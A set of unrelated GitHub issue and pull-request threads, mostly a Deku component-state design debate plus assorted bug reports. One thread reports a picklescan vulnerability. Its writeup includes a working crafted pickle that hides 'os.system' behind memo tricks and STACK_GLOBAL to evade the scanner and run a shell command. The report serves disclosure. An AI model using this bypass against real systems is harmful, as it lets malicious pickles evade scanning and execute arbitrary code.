  switch (evt.name) {
    case 'props':
      return { ...state, props: evt.data }
  }
}

Seems a little cleaner to me and has the added benefit allowing for a bubbling bool on the evt that controls bubbling.

@joshrtay One minor "downside" to that is that you can't curry the handler to use it nicely within the elements:
<div onClick={handler('completeTodo')}>

You'd need to do something like:
<div onClick={e => handler({ type: 'completeTodo' })}>

but you're right, having an action as a single object like an event feels more correct.
I'm going to try and use this to put together a mini app over the weekend that tries to do some of the more obscure things that we handle in our real app now.

hadn't thought of that. that is unfortunate.
also handler should probably be renamed to trigger. you trigger an update.

@anthonyshort you could still curry handler/trigger if it's not a direct call to update. right?
function trigger (type, payload) {
  component.update(entity.state, {type: type, payload: payload})
}

@joshrtay Doing that does allow currying to possibly be more effective.  It seems like there's two plausible options here.  I just updated my branch to do the following:
  function triggerEvent (entity) {
    return function () {
      var curried = Array.prototype.slice.apply(arguments)

      return function () {
        var args = curried.concat(Array.prototype.slice.apply(arguments))
        // ...
      }
    }
  }

Which allows you to do things like <TextInput onChange={trigger('set', 'username')} />.  But it has the downside of requiring you to do this if you wanted to call trigger outside of there:
<TextInput onChange={handleChange} />

function handleChange(e) {
  trigger('set', 'username', e.delegateTarget.value)()
}

Which is kind of lame.  In your approach, you could curry only the first argument, and then pass other parameters in your event object, like: <TextInput onChange={trigger({event: 'set', field: 'username'})} />
With either approach, you could also do neat stuff like
<TextInput onChange={compose(extractValue, trigger('set', 'username'))} />

function extractValue(e) {
  return e.delegateTarget.value
}

So i've encountered a slight issue.  Not sure what the best approach to solving it is, but I think it's a pretty general problem.
So a form has a validity state, but in theory at least, its validity shouldn't really be a part of your official state object, since it is a computed property of the values currently in the form.  So if you don't want to put the validity of the form in your actual state object, then you have to recompute it (and duplicate all the associated code) in both your render and update functions if you want to say, highlight things in red when they are wrong, but also block form submissions when the form is invalid (render highlights, update blocks submissions).  Performance wise this is mostly probably negligible, but it isn't very DRY.
It seems like there are a few possible ways to address this:

Just let validity be part of the form's state, ignoring that it is computed from other things.
Put your validation methods on state.  So you do something like state.valid() to check validity.
Just deal with it and duplicate the code in update and render, and hope this sort of thing doesn't happen too often.
Pass in validity from render to your triggers.  E.g. <TextInput onChange={trigger('set', 'username', valid)} />

Anyone have any thoughts on the best of these, or other ideas entirely?  I'm kind of leaning towards the last one, at the moment.

In regards to the currying of trigger, i'm starting to think that the right solution is for deku not to try to solve it.  Since sometimes you may want to pass many arguments, and sometimes you may want some other function in render that decides whether to execute a trigger or not, and you don't want to have to do something awkward like trigger('submit')(), or pass more arguments than you need.
So I think the thing to do is let the user worry about it, and suggest they do something like this:
function render(state, trigger) {
  const triggerer = curry(trigger)

  return (
    <form onSubmit={submit}>
      <TextInput onChange={triggerer('set', 'username')} />
    </form>
  )

  function submit (e) {
    if (state.valid)
      trigger('submit')
  }
}

For a slightly special defintiion of 'curry' that doesn't attempt to pre-determine the arity, and just works like this:
function curry (fn) {
  return function () {
    const outerArgs = [].slice.call(arguments)
    return function () {
      const args = [].slice.call(arguments)
      return fn.apply(null, outerArgs.concat(args))
    }
  }
}

New idea: Every component receives every action (optionally with bubbling used to decorate actions, like snabdom), action types are symbols, and request/response patterns are also mediated by symbols placed on the actions themselves
Signup form:
const failure = Symbol('failure')

const propTypes = {
  createUser: {source: 'createUser'},
  redirectToLoggedIn: {source: 'redirectToLoggedIn}
}

function render () {
  return (
    <form onSubmit={trigger(createUser, {onSuccess: redirectToLoggedIn, onFailure: failure})}>
      // ...
    </form>
  )
}

function update (state, action) {
  switch(action.type) {
    case failure:
      return assign({}, state, {error: action.error})
  }
}

Actions:
export default {
  createUser: Symbol('createUser'),
  // ...
  redirectToLoggedIn: Symbol('redirectToLoggedIn')
}

app:

```javascript
app.set('createUser', actions.createUser)
app.set('redirectToLoggedIn', actions.redirectToLoggedIn)

handlers:
export default {
  [actions.createUser]: function (action) {
    api.user
      .create(action.user)
      .then(trigger(action.onSuccess), trigger(action.onFailure))
  },

  // ...
  [actions.redirectToLoggedIn]: function (action) {
    app.set('currentRoute', '/home')
  }
}

This gives you all the power of Elm's mailboxes with plain js, and it allows the component to remain 100% pure without sacrificing much flexibility.  In terms of deku's core, the code is dead simple - every component receives every action, and naming conflicts are a non-issue because of symbols.  Components could then also export the symbols necessary to communicate with them, so that the components can talk to each other in a pure way when necessary.

Some bikesheds:

If you would like to serialize and playback actions (e.g. time travel in redux), Symbols are not easily serializable, probably better keep it optional.
There are so many existing solutions for message passing e.g. FRP event stream, ES7 observable, CSP channel, Actor mailbox, what's the rationale behind actions?

@hden Totally agree. This is just discussion to look at possible ways of doing it. I'd like to just find a simple way to manage state so we don't need to use imperative calls like setState. I'm just not sure how this would look just yet so I'm hoping people who know way more about functional programming can help out :)

The simplest thing to do might just be to use actions/update for local state updates, and then use context to do communication across components as was previously planned?  I think that would pretty elegantly address all the issues in a clean/functional way.

I think trigger/handler can also subsume the role of sources, and be used to handle request/response scenarios for api calls:
import dispatch from 'lib/fluxxy-thing'

function beforeMount (component, handler) {
  dispatch('subscribeToCurrentUser', handler('updateCurrentUser'))
}

function render (component, handler) {
  return (
    <form onSubmit={trigger('createUser', {success: handler('success'), error: handler('error')})}</form>
  )
}

Where the dispatch in beforeMount just sets up a pipe between this component's update function and some external data source.

Probably better fit elsewhere, but If you consider a component to be a transducer that:

accept several observable / channel as input
fold through the sequence (pure rendering here)
returns a observable / channel of virtual elements

It's like turning a component inside-out, all the states are nicely contained in the observable / channel, which is very similar to cycle.js.
Maybe we can start from allowing handlers to return a observable / channel bound to certain parameters?

Test will be mostly feeding controlled inputs then examine outputs
Not easily compatible with current deku API
If one would accept generator runtime e.g. babel.js, he can easily ensure the order of operations via CSP without something like waitFor().

@hden That is an interesting idea but how would you handle components generating their own events (click/input/etc)?

@ashaffer Events are generated by user / DOM / clocks (e.g. setTimeout) / remote state (e.g. database). A component merely respond to the events by emitting a virtual element.

@hden Ya, that is true, but I guess what i'm asking is how you are imagining the syntax for something like that would look.

Unlike cycle.js, we probably want to start with a minimum API and let user choose their FRP implementation. e.g. bacon.js, rxjs, most
// stolen from cycle.js
let component = (eventualSelect) => {
  // eventually select a element from rendered DOM
  let eventStream = eventualSelect('.field', 'input')

  return eventStream
    .map(ev => ev.target.value)
    .startWith('') // initial value
    .map((name) => {
      return (
        <div>
          <label>Name:</label>
          <input className="field" type="text" />
          <hr />
          <h1 className="header">{ 'Hello' + name }</h1>
        </div>
      )
    })
}

@anthonyshort Have you thought about removing state from deku? It seems like everyone has different opinions on how state updates should be handled and even on whether components should manage local transient state at all.
Instead you could add a setupContext hook to deku. The setupContext hook would receive context and markDirty as parameters. That way if components want local state they can set it up themselves and they can choose their preferred approach. Using redux this might look like:

import { createStore } from 'redux';

function setupContext (context, markDirty) {
  let store = createStore(update)
  store.subscribe(markDirty)
  context.dispatch = store.dispatch.bind(store)
  Object.defineProperty(context, 'state', store.getState.bind(store))
}

function render ({props, state, dispatch}) {
  return (
   <div>
    <button onClick={emit('DECREMENT')}>-</button>
    <div>{state}</div>
    <button onClick={emit('INCREMENT')}>+</button>
   </div>
  )

  function emit(type) {
    dispatch({type: type})
  }
}

function update (state = 0, action) {
  switch (action.type) {
  case 'INCREMENT':
    return state + 1;
  case 'DECREMENT':
    return state - 1;
  default:
    return state;
  }
}

If update is exported with the component, then you could move the setupContext to a virtual-element wrapper and virtual-element implementations could specify how state updates are handled.

@joshrtay that's what I think we might just need to do. Make components completely stateless and provide some easy ways for people to send in there own dispatcher/handler/way to trigger actions. We could do this at the top level, when render is called, and allow people to pass in a dispatch function that will be given to all components:
var store = createStore(reducers)
render(<App state={state} />, store.dispatch)

function render (component, dispatch) {
  return <button onClick={ dispatch({ type: 'setState', id: component.id, data: { clicked: true }}) } />
}

That would allow people to keep using a pattern that is somewhat familiar. Or they could just pass it down like you suggested.
render(<App state={state} dispatch={store.dispatch} />)

This starts to look a lot like the Elm Architecture. Deku is just a side-effect that is performed after the application state has been mutated, but doesn't manage the state itself. Then you can use something like Redux to manage your application state.
There are a couple of concerns with it that I brought up over here: https://github.com/paldepind/noname-functional-frontend-framework/issues/14

You need to patch that dispatcher all the way down
Local component state needs to find a place to live, eg. whether a select box is open.
You need to pass state through components that don't care about it.

I think 1. is probably ok. Every component should have a way to trigger actions in the system. If you don't pass it down, it can't change the state in any way, which could be nice.

@hden I think we'll probably avoid requiring any sort of observable interface. The concept of returning a stream of vnodes is nice (like cycle), but in this case I'd want to lean on the side of developer experience and not require them to do any work with streams. They really just need to define that final map function.
We could make it function that way behind the scenes but there's something really nice to just being given a state object and returning a vnode. The trade-off for this is that events are defined inside of the vnode instead of as streams.

These are some things we need to cover in any solution, and I think we get these with the above solution:

It should not be strict about the way state is managed or how actions are dispatched or handled. The developer can use any library to manage state, or any abstraction to handle creating, dispatching or using actions.
Components shouldn't store any state on their own
The user shouldn't need to work with streams in their render function (unless anyone can give me a good reason why they should.) It's the one thing I don't like about Cycle, the UX isn't great. @hden

Other notes:

We could additionally look at adding something like context to make things easier, but I think this is a complexity React has that we can avoid.
Removing state could make sharing UI elements more difficult. But I think these components would just provide hooks. eg. this color picker could store no state and just export an onChange hook that higher level components could use to update the app state using their custom trigger.

Some reading I've been doing lately around Elm that might be of interest:

Reactivity in Elm - In this model Deku is just a Task that renders UI.
Elm Architecture - Recently updated with some more work around how side-effects are handled (like animation)
Notes on Elm Architecture
Notes on transient state in Elm Architecture - These guys seem to think it won't be a problem.

@anthonyshort I think that's right.  Reusable components should never manage their own state, as a rule of thumb.
The thing that makes the most sense to me, but ideally wouldn't be prescribed by deku, is that the component tree's state is just one of the properties on the global, singular state atom.  E.g. state.ui, and the updates are handled by reducing functions - you could create a neat binding to redux by just composing around virtual-element and combining all your update functions into a single state.ui reducer.  But that could totally be an optional 3rd party library.

Here's where it's currently up to: https://github.com/dekujs/deku/tree/1.0.0
Removed setState, shouldUpdate, and cleaned up a lot of things. The API is still the same, minus setState but I'm going to see if we can make it backwards compatible. We need to settle on an API soon so we can stop making breaking changes.

Cool. Looking much cleaner. What are you thinking in terms of a global dispatch vs passing dispatch down in props?
Also, have you considered event bubbling instead of a global dispatch? I know you mentioned that your worried about tracing events around, but I find that when events bubble up they're not too difficult to trace - don't really have a problem with tracing dom events. This would give you the power to decorate events with contextual information and it keeps data flow really simple. Data flows down through props. Data flows up through events. Events that reach the root component can be hooked up to stores.

Looks good, the core is now under 1k SLOC!
+1 on what @joshrtay said about event bubbling.  I think an API that looks like render ({props, emit}) where emit just bubbles up the tree, and some higher-level component with direct knowledge of the primary state store (e.g. redux) dispatches messages to be made permanent.  In this way, the entire UI is just another observable generating events that cause state updates.
Assuming that route is taken, the issue that remains is how to tell individual components about the state they're interested in.  The approach that the elm/snabbdom people seem to be taking is that you just pass everything down and it's really not as bad as it seems.  That seems plausible to me, but maybe we should try to come up with some strategies/patterns for implementing that in vaguely real-world scenarios?

For extreme purity and cleanliness, you could not even have a dispatch/emit function, and just let DOM event handlers return new events.  E.g.
function render (props) {
  return (
    <div onClick={() => return {type: 'REMOVE_PROJECT'}}>
      Remove Project
    </div>
  )
}

@ashaffer How would listening to custom events work in components higher up the tree? And how would you supply a catchall?
Custom:
render(App onRemoveProject={removeProject})

Catchall:
render(<App onAny={dispatch} />)

@ashaffer Also, how would you stop propagation? Just a stopPropagation bool on the event object?

@joshrtay Your custom example is what I was thinking.  Stopping propagation would be weird in the version without emit/dispatch, since the return value of the handler is supposed to be a new event.  It might mean that that approach isn't quite right.  You could put stopPropagation on the event, but that's not very pure, though maybe that's ok in this case.
As for the catch-all issue, I hadn't thought about that, but I suppose you'd want to be able to generically pipe all events into a state store of some kind.  onAny seems fine, or perhaps the top-level component is just an emitter or observable.

I think component.id is still going to be necessary to do a setState like action. Didn't see it in the code base.
function setState (componentId, state) {
  return {type: 'setState', id: componentId, data: state}
}

function render (props) {
  return (
    <div onClick={({id}) => setState(id, {clicked: true})}>
      Click
    </div>
  )
}

Yeah I'm probably going to add setState in as a separate module if possible by letting the user define what the 'handler' function is that is passed as the second param to every render function. This is mostly to make migrating to the new API easier, I think local state is something we probably wouldn't want to encourage.

Sounds good. That keeps it simple.

@joshrtay Ya, I think the argument against using component id's is that that would enforce a de-facto  isolated local state.  If you don't give component's ids, you force the state locality to be expressed in the semantic domain of the application, which allows you to access it from other places if you need to.
Consider what I think is probably a bit of a pathological case for the no-local-state approach: A feed with dropdown menus on each feed item.  It seems like the open/closed state should just be local to the dropdown, and that is how almost everyone implements it.  But this totally breaks down in at least two pretty common cases:

Closing on an external click.  You end up doing $('body').on('click', closeAllDropdowns)
Restyling parent containers when the dropdown is open.  Sometimes you want to shift things over to make space, or do other things like that.

In the local state approach, this requires you to propagate that information around your application in various ugly and complex ways.  Without local state, you'd be forced to localize the open/closed bool in some way that is native to your application, which should hopefully make accessing state in remote places a bit more natural.  I think, maybe.

That's a really great example of how local state breaks things. I'm going to include that in the docs :)

In thinking about it more, I think the event bubbling concept is unnecessary.  You can just pass functions down in props to emulate it anyway, and then the linkages are all explicit, and there are no new abstractions.

^ Yup!
<App handler={ a => handler('child', a) } />

It's how Elm does it. Now Deku can focus on just rendering those components and calling hooks when needed. Components from React, architecture of Elm, simpler than virtual-dom.

The approach that the elm/snabbdom people seem to be taking is that you just pass everything down and it's really not as bad as it seems. That seems plausible to me, but maybe we should try to come up with some strategies/patterns for implementing that in vaguely real-world scenarios?

Elm handles this by just passing down "context" objects too then you can just keep forwarding on or modifying as you need it. You could just use props for that too. It's not magic like React, but that's probably a good thing. The context would usually only be passed down through the components that are coupled to your app anyway.
I like the idea of finishing this off, pushing 1.0, and providing a lot of solid documentation and guides for these more complex cases people eventually run into.

Ya, context objects passed down in props seems like the right approach to me.  You could even do that with the dispatch function too, there's no real reason it needs to be special.  <App state={state}, dispatch={dispatch} />.
It seems like the main argument for giving dispatch a privileged place in the API would be so that you could share components that call it.  But perhaps its better to say that reusable components just shouldn't be dispatching directly?
If you go that route, it seems to me 1.0 is done :).
As for docs, I would really love to see a curated zoo of corner-cases and difficult real-world problems implemented in elegant ways that the community can learn from and iterate on together.  It'd be a fair bit of work, but it's probably something we could all add to as we're developing applications with deku and we come across interesting/instructive patterns.

@anthonyshort I think i've encountered a class of things that may be awkward with this approach.  Some data is extremely global and used by small components in a way that is essentially impossible to predict from knowledge of their parents.
One example is say, the current window size.  Something like a <Figure> component may want that information, but it will be deeply nested in some other components, and propagating that information down through all of the other components seems sort of arbitrary and awkward.
Another, I have a set of components that render images, and they like to wait until the image is loaded (in the browser's cache) before rendering them.  On my global state atom i'd like to have a map of {<url>: <loaded>}, which all of these components may examine to decide if they should render their image yet or not.  Since it is impossible for the parent components to know which images the children will want to load in this way, i'd have to propagate the entire map down to all of the children that may or may not render this type of component.
Both of these cases and other things like them seem like maybe they are just inherently global chunks of data?  Or can we come up with some pattern for propagating these types of things that doesn't feel so janky?i  The thing that springs to mind for me here is just to retain the sources abstraction deku currently has, so that at  the top-level you can define a select few pieces of data that are accessible to everyone, say (in my case): state, windowDimensions, and loadedImages, and presumably a few other highly global pieces of data, with the knowledge that these things should be used as sparingly as possible.

@ashaffer I was thinking about some of that. Things like Redux and routers might want to put something on a context to pass it all the way down. We could support a single context that the whole tree has access to which would be extremely simple. I'm not sure of the benefits of having nested contexts.

Ya I think a single global context might be the right approach.  If components don't have their own state, there is no need for nested contexts anyway.  Feels like the right balance of simplicity and power.

If components don't have their own state, there is no need for nested contexts anyway.

That makes so much sense! :D Nice.

I agree with that. For a while I thought about making my router architecture work with nested routers. Why would you want that if you can nest routes? Same goes with components, why would you want to nest contexts when you can nest stateless components. I don't know if that makes sense :foggy:

Is the only thing left to work out how to initialize and update information at the top of the tree?
Also, in a redux like system, most people use bindActionCreators to compose their action creators with dispatch, but that is kind of imperative for the components.  Since DOM events are the ultimate sole data source of components, and their return value is currently unused, you could instead have the top-level tree() emit the return values of all DOM event handlers (without bubbling), like so:
E.g.
function render ({actions}) {
  return <div onClick={e => actions.openModal()}>Open</div>
}

// ...

const app = tree(<App/>).pipe(store.dispatch)
store.subscribe(getState => render(app, document.body, {state: getState()})

This would make testing a bit easier, and also make it easy to pipe actions into other sinks, like a global log or whatever.

@anthonyshort regarding nested contexts; I think they are useful. AFAIK react-router (and other routers) use this kind of context to allow for fancy conveniences like relative path's.
It should still be pretty simple even with nested contexts, In one of my libraries I am accomplishing this by providing an explicit "with" function which simply modifies the global context during the invocation of a function and returns the resulting component/nodes. This allows for modifying the context at any level but is also light weight. React originally did something similar to this as well.

@anthonyshort What's the status of 1.0?
I like what's happening in 1.0. The render functions of components just receive props. I think that's all deku really needs to do. Virtual element can then be in charge of adding context or state.

Well it's about done. But I'm on vacation so I couldn't polish up it and release it :) just need to get some tests passing, but I'm trying to include docs on how to do things like managing state, routing etc.

I just read the whole thread and it's very interesting. I do not mean to be pushy, however, being very interested as I'm evaluating tools for an upcoming project, I'd like to know if there is anything coming out soon or not.
Thanks for the good work!

@anthonyshort - @ashaffer been working on virtex , a small vdom library which lets you process all vdom side effects with a redux like middleware stack.
You may want to check it out. You could easily build 1.0 on top of it.

That would be neat if you wanted to build it on virtex.  I did steal all of deku's tests for virtex, which it mostly passes already, so there's that.
It is designed with a redux middleware stack in mind as the effect processing function, but it isn't really coupled to that, it just allows you to orthogonalize unrelated features in a nice way (e.g. components vs dom ops).


[Enhancement] Changing add favorite button to heart button

Description
In this page add button is not looking good so i will make it like heart symbol at corner of card so that it can be kept as add to cart function
Screenshots

Checklist

[X] I have checked the existing issues.
[X] I follow Contributing Guidelines of this project.

HEY Please assign me this issue under Hacktober label

Assign this to me I would add a interactive button and make it more user friendly and appealing with better design.


Fix: #892 DeviantArt not ripping full sized images

Category
This change is exactly one of the following (please change [ ] to [x]) to indicate which:

[X ] a bug fix (Fix #892)
[ ] a new Ripper
[ ] a refactoring
[ ] a style change/fix
[ ] a new feature

Description
I've fixed and enabled the full size image download for Deviantart
Testing
Required verification:

[ ] I've verified that there are no regressions in mvn test (there are no new failures or errors). - Additional Regression testing is needed.
[ X] I've verified that this change works as intended.

[X ] Downloads all relevant content.
[X] Downloads content from multiple pages (as necessary or appropriate).
[ X] Saves content at reasonable file names (e.g. page titles or content IDs) to help easily browse downloaded content.

[X ] I've verified that this change did not break existing functionality (especially in the Ripper I modified).

Optional but recommended:

[ ] I've added a unit test to cover my change.

1000th pull request ...

I investigated this, and it turns out this whole ripper was badly messed up. The first image on any given page (or possibly more) were being skipped due to the way JSON was parsed, cookies were not being maintained correctly at all, and the method remaining intended to check on original links was not being used, though it was mostly functional as is.
I should have a pull request soon with a major update, though it A: slows down the ripper a fair bit as it both has to load every image page and then possibly again another request for the download link and B: may still have issues with the original download links 403 erroring if we hit them fast enough. It may be worth building in a whole setting for checking on originals or accepting the smaller ones.

I investigated this, and it turns out this whole ripper was badly messed up.

I'm very surprised how that can be given the record so far.

I'm very surprised how that can be given the record so far.

Me as much as you, I just recently used it to download a huge collection and re-parse my existing directories and looking at it it consistently didn't download the first 1-2 files of each page (not even just artist, but every single page) when I started from a ?catpath=/.
I should have suspected something when in my re-rips it was randomly grabbing a lot of older files I should have had already, but it took dealing with e621 to see this pull and look into it.


WIP: Nunjucks adapter

I've added support for Nunjucks, a dynamic template engine with a lot of goodies you've come to expect from template engines (loops, includes, blocks, etc.).
Unfortunately, the "should render with client side helpers" test isn't passing yet.  There seems to be an issue with the client-side JavaScript.
I'll also be writing thorough documentation tomorrow.  Let me know what y'all think :+1:

I think this should be closed out at this point if we can't make it happen

Closing this due to inactivity. Would love to get it merged but it doesn't seem like anyone is working on it, sadly.

No way :(
@nporteschaikin please don't give up!
Let me know if I can be of any help.

@heyallan My friend, it's not a matter of giving up!  We were waiting on an update from Mozilla.  I'll check it out again.  :)

When I say “don't  give up” I mean “don't close the issue”. Even if it goes slow, It's still relevant.
:+1:


added test screen for tab controller. created folder structure for na…

…vigation controll test screens

dude! thanks. great stuff.


Compilation failure

I am trying to build the Examples with maven dependency

com.github.rpgleparser
rpgleparser
1.0.0

But the build is failing with 100s of errors. Looks like the Examples Project is not in sync with RpgLEParser project? Can you please help. Thank you.
For example below imports in fixed2free.integration.ApiBasedInfoProvider are not resolved
import org.rpgleparser.api.LibraryList;
import org.rpgleparser.api.ListApiCallback;
import org.rpgleparser.api.LFLD.FLDL0100;
import org.rpgleparser.api.LFLD.QUSLFLD;
import org.rpgleparser.api.LRCD.QUSLRCD;
import org.rpgleparser.api.LRCD.RCDL0200;
import org.rpgleparser.api.OBJL.OBJL0200;
import org.rpgleparser.api.OBJL.QUSLOBJ;

@hegdemk2004
The project is stale relative to the parser.  What are you hoping to accomplish?

Thanks Ryan.
For now I am trying to compile and execute the RPGLE parser. Once I am familiar with the AST I would like to write static code analysis utilities around it.
Where can I find the sample code on how to use the RPGLE Parser Library after I have built it successfully?
Thanks and regards,Mahesh
On Wednesday, April 21, 2021, 6:12:33 AM GMT+5:30, ryaneberly<EMAIL_ADDRESS>wrote:

@hegdemk2004
The project is stale relative to the parser. What are you hoping to accomplish?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.

A good example of using the parser is
https://github.com/rpgleparser/rpgleparser/blob/dev/src/test/java/org/rpgleparser/integration/TestFiles.java
To see some example ASTs look at the expected output /src/test/resource folder:
https://github.com/rpgleparser/rpgleparser/blob/dev/src/test/resources/org/rpgleparser/tests/nesting/block/if/if.end.expected.txt
The top portion is the tokens, and the bottom portion is a text rendering of the AST.

@hegdemk2004 .
I gave you access to https://github.com/rpgleparser/rpglint
you are welcome to use it if you intend to open source the static analysis.   I may be interested in contributing as well.  If you need some ideas on what to check for - I collaborated with SonarQbe on a similar project in the past.

Thanks Ryan,
I accepted the invite. Just to reconfirm the repo is currently empty, right?
On Friday, April 23, 2021, 3:11:03 AM GMT+5:30, ryaneberly<EMAIL_ADDRESS>wrote:

@hegdemk2004 .
I gave you access to https://github.com/rpgleparser/rpglint
you are welcome to use it if you intend to open source the static analysis. I may be interested in contributing as well. If you need some ideas on what to check for - I collaborated with SonarQbe on a similar project in the past.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.

Yes its currently empty
On Fri, Apr 23, 2021 at 3:26 PM Mahesh @.***> wrote:

Thanks Ryan,
I accepted the invite. Just to reconfirm the repo is currently empty,
right?
On Friday, April 23, 2021, 3:11:03 AM GMT+5:30, ryaneberly @.***>
wrote:
@hegdemk2004 .
I gave you access to https://github.com/rpgleparser/rpglint
you are welcome to use it if you intend to open source the static
analysis. I may be interested in contributing as well. If you need some
ideas on what to check for - I collaborated with SonarQbe on a similar
project in the past.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/rpgleparser/examples/issues/2#issuecomment-825871572,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABNVTO5OZDTJEEKCMIK2K7TTKHCWTANCNFSM426U35GQ
.


Bug in Nora - Duplicate "Appears On Albums" Tiles

Describe the bug
Each song by an artist shows up as a different album in "Appears on Albums", even though it is just one album
To Reproduce
Steps to reproduce the behavior:

Have multiple songs by the same artist on the same album
Go to the artist's page

Expected behavior

Just one tile per album
and possibly
A separate row for albums by the artist, and a separate for guest appearances

Screenshots

Log File
N/A - This seems to be an oversight in the code.
System Information:

OS: Windows 10
Affected App Version: Appeared in both 2.2.0-stable and 2.3.0-stable

@RichardKanshen,
It's a bug in Nora's database.
Could you please tell me whether you use Nora's suggestions to modify song metadata? If so, did you see this behavior after using that service?

I have seen this behaviour without using the metadata editor in Nora.

@RichardKanshen,
I meant suggestions like this

Nope, I did not use that one either.

@RichardKanshen,
I found a fix for this bug.
I'll fix it in the next update
Thanks for letting me know

Just updated, it looks so much cleaner now, thanks a lot!


Add BitSearchBox component demo page (#458)

This close #458

Close this PR because of unrelated commits


Rancher install fails on k3s behind corporate proxy

What kind of request is this (question/bug/enhancement/feature request):
Bug
Steps to reproduce (least amount of steps as possible):

Deploy an HTTP proxy in the network (e.g. tinyproxy)
Install single- or multinode k3s cluster following the HA install docs
Configure k3s with the proxy settings in order to allow the pulling of images from Docker Hub:

$ cat /etc/systemd/system/k3s.service.env
no_proxy=localhost,<IP_ADDRESS>,<IP_ADDRESS>/8,<IP_ADDRESS>/12,<IP_ADDRESS>/16,.svc,.cluster.local
https_proxy=http://<IP_ADDRESS>:8888/
http_proxy=http://<IP_ADDRESS>:8888/

$ systemctl restart k3s

Install cert-manager and Rancher following the steps for Rancher generated certificates or LE

Result:
Rancher Helm install fails with error:
$ helm install rancher rancher-latest/rancher \
>   --namespace cattle-system \
>   --set hostname=rancher.my.org
Error: Internal error occurred: failed calling webhook "webhook.cert-manager.io": Post https://cert-manager-webhook.cert-manager.svc:443/mutate?timeout=30s: Unable to connect

Other details that may be helpful:
HTTP Proxy log shows that Kubernetes API server uses the Proxy to connect to the cert-manager webhook even though .svc domain is in the NO_PROXY exclude list.
CONNECT   Apr 24 10:40:16 [30184]: Request (file descriptor 7): CONNECT cert-manager-webhook.cert-manager.svc:443 HTTP/1.1
INFO      Apr 24 10:40:16 [30184]: No upstream proxy for cert-manager-webhook.cert-manager.svc
ERROR     Apr 24 10:40:16 [30184]: opensock: Could not retrieve info for cert-manager-webhook.cert-manager.svc
INFO      Apr 24 10:40:16 [30184]: no entity

k3s api-server warning:
Apr 24 11:05:17 jb-k3s-a-01 k3s[29570]: W0424 11:05:17.456815   29570 dispatcher.go:180] Failed calling webhook, failing closed webhook.cert-manager.io: failed calling webhook "webhook.cert-manager.io": Post https://cert-manager-webhook.cert-manager.svc:443/mutate?timeout=30s: Unable to connect

Environment information

Rancher version (rancher/rancher/rancher/server image tag or shown bottom left in the UI): 2.4.2
Installation option (single install/HA): HA

<!--

Push! Facing the exact same Error on RHEL 7 or RHEL 8 Cluster behind a coporate firewall. This make a  on premise usage of Rancher impossible.
Tryed 30+ Installations with different variants. All ended in this error.

Same issue here in RHEL 7

The above issue is non existent if RKE is used instead of K3.

It does also not work on K3OS with K3S and Rancher.
Is there a workaround to get the installation done?

centos 7.3   v1.18.4+k3s1  helm3.12  也有这个问题
启动rancher报错如下
[root@k3s01 ~]# helm install rancher rancher-stable/rancher --namespace cert-manager --set hostname=li.jia.lin
Error: Internal error occurred: failed calling webhook "webhook.cert-manager.io": Post https://cert-manager-webhook.cert-manager.svc:443/mutate?timeout=30s: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

@lijilina You can try installing cert-manger with the option to disable webhooks --set webhook.enabled=false. See https://docs.cert-manager.io/en/release-0.9/getting-started/webhook.html#with-helm.

I'm going to transfer this issue to the k3s repo


Use the full license text and a separate notice file

This is advised at https://infra.apache.org/apply-license.html
More importantly it makes it easier for license detection tools to discover the
license and includes the actual license in the project rather than rely on
external web resources.

Thanks @ajorg-aws


Possible vulnerability in picklescan==0.0.12

Hi,
Check out the following CTF challenge:
https://imaginaryctf.org/Challenges / Misc / Safe Pickle
Dockerfile states that is uses latest version of picklescan.
Challenge code:
#!/usr/bin/env python3
from picklescan.scanner import scan_pickle_bytes, SafetyLevel
import io, pickle, base64

inp = input("Base64 encoded pickle: ")
pkl = base64.b64decode(inp)
result = scan_pickle_bytes(io.BytesIO(pkl), 1337)
if (
    result.scan_err
    or result.issues_count > 0
    or not all([g.safety == SafetyLevel.Innocuous for g in result.globals])
):
    print("Dangerous pickle!")
    exit()

pickle.loads(pkl)

Could you clarify expected vs actual behavior? I see that there is a docker file in https://s1.fdow.nl/OOOwz-safe_pickle.tar.gz but I am not clear how that shows there is a vulnerability in picklescan and give enough details to fix it.

I'm pretty sure the point of the challenge is to find a 0-day in the library (confirmed by the challenge author)

Writeup:
The way picklescan handles memo doesn't look at the argument, so it is possible to have a different memo and use STACK_GLOBAL to bypass allowlist checking.
import pickle, base64

pkl = b''.join([
    pickle.UNICODE + b'os\n',
    pickle.PUT + b'2\n',
    pickle.POP,
    pickle.UNICODE + b'system\n',
    pickle.PUT + b'3\n',
    pickle.POP,
    pickle.UNICODE + b'torch\n',
    pickle.PUT + b'0\n',
    pickle.POP,
    pickle.UNICODE + b'LongStorage\n',
    pickle.PUT + b'1\n',
    pickle.POP,

    pickle.GET + b'2\n',
    pickle.GET + b'3\n',
    pickle.STACK_GLOBAL,

    pickle.MARK,
    pickle.UNICODE + b'cat flag.txt\n',
    pickle.TUPLE,

    pickle.REDUCE
]) + b'.'
print(base64.b64encode(pkl).decode())

Thanks for the repro! Looking into a fix.


Persist sidebar state (categories expanded state, hidden sidebar)

Have you read the Contributing Guidelines on issues?

[X] I have read the Contributing Guidelines on issues.

Description
It would be useful to persist sidebar state like which categories are collapsed and if the sidebar is hidden or not in local storage (or session storage?), so that the user's navigation experience is not interrupted by, say, going to the blog briefly.
Has this been requested on Canny?
No
Motivation
Better UX
API design
Persist state in local storage / session storage and retrieve on sidebar first render. After #3811 we probably have a better way to control the collapsed state of individual categories.
Have you tried building it?
No
Self-service

[ ] I'd be willing to contribute this feature to Docusaurus myself.

On https://zio.dev/ecosystem/ the left-side navigation is pretty large. It would be nice if it automatically scrolls to the active page at load time. Is that part of this issue?

@erikvanoosten No, but unfortunately we had troubles with scroll-to-active features in the past: https://github.com/facebook/docusaurus/pull/6317, https://github.com/facebook/docusaurus/pull/6748, https://github.com/facebook/docusaurus/pull/6666 so it won't be soon that we introduce this feature to left sidebars.


[ip6] disable security for link-local packets from unsecure ports

When we allow insecure ports for new joining devices, we need to reply with insecure port as well.
Once the device has securely joined, we should remove the insecure port.

@librasungirl @bukepo @abtink
Shall we add a feature flag to enable/disable this behavior and disable it by default?

